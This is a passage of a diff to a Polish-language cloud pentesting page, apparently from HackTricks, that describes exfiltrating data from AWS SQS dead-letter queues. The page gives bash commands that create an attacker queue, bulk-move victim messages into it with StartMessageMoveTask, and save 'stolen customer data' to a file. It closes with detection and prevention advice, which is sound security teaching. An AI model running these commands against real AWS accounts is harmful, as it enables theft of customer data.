# Create our exfiltration queue
|
||||
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
|
||||
@@ -69,7 +71,7 @@ ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --at
|
||||
|
||||
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
|
||||
```
|
||||
3) **Wykonaj bulk message theft**
|
||||
3) **Przeprowadź masowe wykradanie wiadomości**
|
||||
```bash
|
||||
# Start moving ALL messages from victim DLQ to our queue
|
||||
# This operation will transfer thousands of failed orders containing customer data
|
||||
@@ -84,7 +86,7 @@ echo "Move task started: $TASK_RESPONSE"
|
||||
# Monitor the theft progress
|
||||
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
|
||||
```
|
||||
4) **Zgromadź skradzione wrażliwe dane**
|
||||
4) **Zbierz skradzione wrażliwe dane**
|
||||
```bash
|
||||
# Receive the exfiltrated customer data
|
||||
echo "Receiving stolen customer data..."
|
||||
@@ -114,15 +116,15 @@ echo "$MESSAGES" >> stolen_customer_data.json
|
||||
done
|
||||
```
|
||||
### Uwagi dotyczące dostępu między kontami
|
||||
- Docelowa kolejka musi mieć politykę zasobów zezwalającą principalowi ofiary na `sqs:SendMessage` (a jeśli używane, granty/uprawnienia KMS).
|
||||
- Kolejka docelowa musi mieć politykę zasobu pozwalającą principalowi ofiary na `sqs:SendMessage` (a, jeśli używane, przyznania/uprawnienia KMS).
|
||||
|
||||
## Dlaczego ten atak jest skuteczny
|
||||
|
||||
1. **Wbudowana funkcja AWS**: Wykorzystuje wbudowane funkcje AWS, dzięki czemu trudno wykryć ją jako złośliwą
|
||||
2. **Operacja hurtowa**: Przenosi tysiące wiadomości szybko, zamiast powolnego dostępu do pojedynczych wiadomości
|
||||
1. **Wbudowana funkcja AWS**: Wykorzystuje wbudowaną funkcjonalność AWS, co utrudnia wykrycie jako działanie złośliwe
|
||||
2. **Operacja masowa**: Przenosi tysiące wiadomości szybko zamiast powolnego dostępu pojedynczego
|
||||
3. **Dane historyczne**: DLQs gromadzą wrażliwe dane przez tygodnie/miesiące
|
||||
4. **Poza radarem**: Wiele organizacji nie monitoruje dokładnie dostępu do DLQ
|
||||
5. **Możliwość między-kontowa**: Może exfiltrate do konta AWS atakującego, jeśli uprawnienia na to pozwalają
|
||||
4. **Poza radarem**: Wiele organizacji nie monitoruje dostępu do DLQ uważnie
|
||||
5. **Możliwość międzykontowa**: Może exfiltrate do własnego konta AWS atakującego, jeśli uprawnienia na to pozwalają
|
||||
|
||||
## Wykrywanie i zapobieganie
|
||||
|
||||
@@ -143,8 +145,10 @@ Monitoruj CloudTrail pod kątem podejrzanych wywołań API `StartMessageMoveTask
|
||||
}
|
||||
```
|
||||
### Zapobieganie
|
||||
1. **Zasada najmniejszych uprawnień**: Ogranicz uprawnienia `sqs:StartMessageMoveTask` tylko do niezbędnych ról
|
||||
2. **Monitorowanie DLQs**: Skonfiguruj alarmy CloudWatch dla nietypowej aktywności DLQs
|
||||
3. **Polityki dostępu międzykontowego**: Dokładnie przeglądaj polityki kolejek SQS zezwalające na dostęp między kontami
|
||||
4. **Szyfrowanie DLQs**: Użyj SSE-KMS z ograniczonymi politykami kluczy
|
||||
5. **Regularne czyszczenie**: Nie pozwól, aby poufne dane gromadziły się w DLQs na czas nieokreślony
|
||||
1. **Zasada najmniejszych uprawnień**: Ogranicz uprawnienia `sqs:StartMessageMoveTask` wyłącznie do niezbędnych ról
|
||||
2. **Monitoruj DLQs**: Skonfiguruj alarmy CloudWatch dla nietypowej aktywności DLQ
|
||||
3. **Polityki cross-account**: Dokładnie przejrzyj polityki kolejek SQS zezwalające na dostęp między kontami
|
||||
4. **Szyfruj DLQs**: Używaj SSE-KMS z ograniczonymi politykami klucza
|
||||
5. **Regularne czyszczenie**: Nie pozwól, by wrażliwe dane gromadziły się w DLQs bezterminowo
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user